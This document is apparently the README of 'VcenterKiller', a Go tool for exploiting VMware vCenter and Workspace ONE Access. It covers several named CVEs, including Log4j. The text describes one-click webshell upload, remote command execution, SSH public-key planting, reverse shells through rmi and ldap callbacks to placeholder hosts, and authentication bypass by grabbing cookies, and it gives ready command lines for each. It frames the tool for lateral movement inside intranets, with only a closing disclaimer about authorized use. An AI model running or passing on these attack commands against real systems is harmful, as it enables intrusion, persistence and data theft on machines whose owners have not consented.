## https://sploitus.com/exploit?id=DEB829AE-B967-5CC0-8FAF-DA8092FFD86B
! [vckiller](https://socialify.git.ci/Schira4396/VcenterKiller/image?description=1&descriptionEditable=%E4%B8%80%E6%AC%BE%E9%92%88% E5%AF%B9Vcenter%E7%9A%84%E7%BB%BC%E5%90%88%E5%88%A9%E7%94%A8%E5%B7%A5%E5%85%B7&font=Inter&forks=1&issues=1&language=1&name=1&owner =1&pattern=Plus&stargazers=1&theme=Light)
! [GitHub Downloads (all assets, all releases)](https://img.shields.io/github/downloads/schira4396/vcenterkiller/total)
# VcenterKiller
#### -1.
If you build a local vulnerability environment, using vckiller to validate log4j will basically fail, because if you use NAT mode in Vmware VM environment, the egress NIC in the validation module will be determined to be 127.0.0.1, so that the LDAP Server address of the target access becomes 127.0.0.1, and the validation will fail 😏.
#### 0. Must read
If you encounter bugs, please submit an issue, write this tool is purely for convenience, it does not have any lofty things!
#### 1. What it is
A comprehensive **validation** tool for Vcenter, including the most mainstream CVE-2021-21972, CVE-2021-21985 and CVE-2021-22005, providing one-click upload webshell, command execution or upload the public key and use SSH to connect, as well as for Apache Log4j CVE-2021-44228 vulnerability detection and exploitation on Vcenter, such as command execution and get back to the display (~~ need a ldap malicious server ~~), now do not need to start another ldap server, I according to the jndi-injection tool hand rubbed a way to exploit the middleware used by the Vcenter is Tomcat, directly use TomcatBypass utilization chain on the line.
#### 2. It's positioned
General Vcenter are placed on the intranet, and vulnerability characteristics are also bad street, like what fscan la a sweep out, then VcenterKiller is not used to detect whether the target vulnerability, but directly try to utilize the general through the CS/MSF on the springboard to execute, so remove the rest of the fancy output.
Why use GO, because Python is easy to write but it hurts to use, all kinds of dependency libraries, and compiled out of the volume is too large, C# can not cross-platform, write half thrown.
#### 3.
```bash
go build -o main.exe
. /main.exe -u https://192.168.1.1 -m 21985 -c whoami
. /main.exe -u https://192.168.1.1 -m 22005 -f test.jsp
. /main.exe -u https://192.168.1.1 -m 21972 -f test.jsp
. /main.exe -u https://192.168.1.1 -m 21972 -f id_rsa.pub -t ssh //pass public key
. /main.exe -u https://192.168.1.1 -m 21985 -t rshell -r rmi://xx.xx.xx.xx:1099/xx
. //main.exe -u https://192.168.1.1 -m log4center -t scan // scan log4j
. /main.exe -u https://192.168.1.1 -m log4center -t exec -r ldap://xx.xx.xx.xx:1389 -c whoami //Or you can leave the ldap service alone.
. /main.exe -u https://xx.xx.com -m 22954 whoami
. /main.exe -u https://xx.xx.com -m 22972 //get cookie
. /main.exe -u https://xx.xx.com -m 31656 //If CVE-2022-22972 doesn't work change to CVE-2022-31656
``
#### 4. Disclaimer
This tool is only for **legally authorized** enterprise security construction behavior, such as enterprise internal attack and defense exercises, vulnerability verification and retesting, if you need to test the usability of this tool, please build your own target machine environment.
When using this tool for testing, you should ensure that the behavior complies with local laws and regulations and that sufficient authorization has been obtained. **Do not use it on unauthorized targets. **
If you have any illegal behavior in the process of using this tool, **you need to bear the corresponding consequences** and we will not assume any legal and joint liability.
#### 5. Update Log
```bash
V1.0 Online
V1.1 Added the ability to bounce shells using rmi against CVE-2021-21985, provided you start an rmi server, e.g. jndi-injection-exploit
V1.2 Added log4j detection and verification for Vcenter.
V1.3 Added vulnerability validation capabilities for Vmware WorkSpace One Access, including CVE-2022-22954 Remote Command Execution; CVE-2022-22972, CVE-2022-31656 Identity Bypass.
V1.3.1 Fixed the issue that ports were ignored when detecting log4j, some services would change the default port 443
V1.3.2 Modified the way to utilize log4j to execute commands and get echo through tomcatbypassEcho. vcenter 7.0 linux test passed.
v1.3.3 added the difference between version 6.7 and 7.0, 7.0 must use tomcatbypass, while 6.7 use ordinary basic on the line!
v1.3.4 modified the verification logic of log4j, the current logic is to loop 5 times different payload indiscriminate play, there is a display back on the, there is no, there is no
v1.3.5 Eliminate log4j's dependence on Jndi-Injection-Exploit to directly execute commands and get display back.
v1.3.6 Modified the ssh function of 21972 and optimized other details.
v1.3.7 Added proxy function, support http and socks.
v1.3.8 Not yet started, considering adding features...
...
``